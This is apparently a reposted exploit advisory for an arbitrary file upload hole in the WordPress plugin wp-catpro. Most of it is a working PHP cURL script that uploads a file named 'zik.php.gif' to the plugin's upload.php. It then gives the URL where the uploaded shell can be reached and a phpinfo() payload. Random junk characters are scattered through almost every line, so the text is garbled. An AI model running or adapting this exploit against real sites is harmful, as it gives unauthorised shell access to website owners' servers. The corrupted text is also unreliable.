Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability) B6 [0 J, r3 s& L" T
#-----------------------------------------------------------------------4 ]; H/ T2 v5 `5 f: E" @
) i3 I0 ~0 K. {/ Q9 }
作者 => Zikou-16
7 T9 h) D& _& v邮箱 => zikou16x@gmail.com
, e. o) R! i- b7 t" x- m测试系统 : Windows 7 , Backtrack 5r3
+ u( D# P6 b7 z0 K下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
, A" M$ f- f: K( f& Y####
' Q3 t0 l: H8 O. y
, S# r- g' F% I9 Q) W9 ?- t K#=> Exploit 信息: Q2 C7 G: j! \& n0 x
------------------! I: @! Z$ c3 T; d7 H
# 攻击者可以上传 file/shell.php.gif' Y& V( @0 N: j- d& q
# ("jpg", "gif", "png") // Allowed file extensions
% n: J3 _0 i4 k& A# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)9 }7 z" p8 }' n% ]
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)1 C1 i/ l2 y& c( g7 y
------------------8 m2 t. k% |, |7 K9 R) U- j
8 R4 r# l9 j& m1 A#=> Exploit9 M/ z- P- H1 L1 W% E- K2 p+ a4 H
-----------% `* q& K) Z% H" r
<?php
1 L0 W- ~( ~- a/ A $ \- B9 B; t" m
$uploadfile="zik.php.gif";, ]4 u; x# U: e1 @' I8 d, {
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");$ \1 E5 Q: M, h* h/ ?6 Z
curl_setopt($ch, CURLOPT_POST, true);/ ]: z5 B/ x3 u, H+ y$ ?
curl_setopt($ch, CURLOPT_POSTFIELDS,
" m" }9 c! Z& W& E' o/ \6 L6 m5 p1 narray('Filedata'=>"@$uploadfile",9 ]+ c# A& y3 e* b" y2 W
'folder'=>'/wp-content/uploads/catpro/'));; d* i, o7 r& Q7 ^* i, C/ p, L* P8 R
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
: H( U& ]% j: B" c/ j2 B9 Z, i& l# {1 k$postResult = curl_exec($ch);" h" s' a: l0 o+ \+ |: \& S
curl_close($ch);1 U- ~2 A6 V/ M4 c# b
0 H( B/ r8 \3 ?7 Sprint "$postResult";4 N1 D& P9 |. O
. | I: l+ R+ u% ]
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
% K/ L" R& C# K, {6 _ ?>
6 w5 C" z& V: D4 M: j# l9 Y, N<?php, E7 o6 V, w/ y6 K
phpinfo();
* a) s9 ~+ a: l) R3 r8 {?> |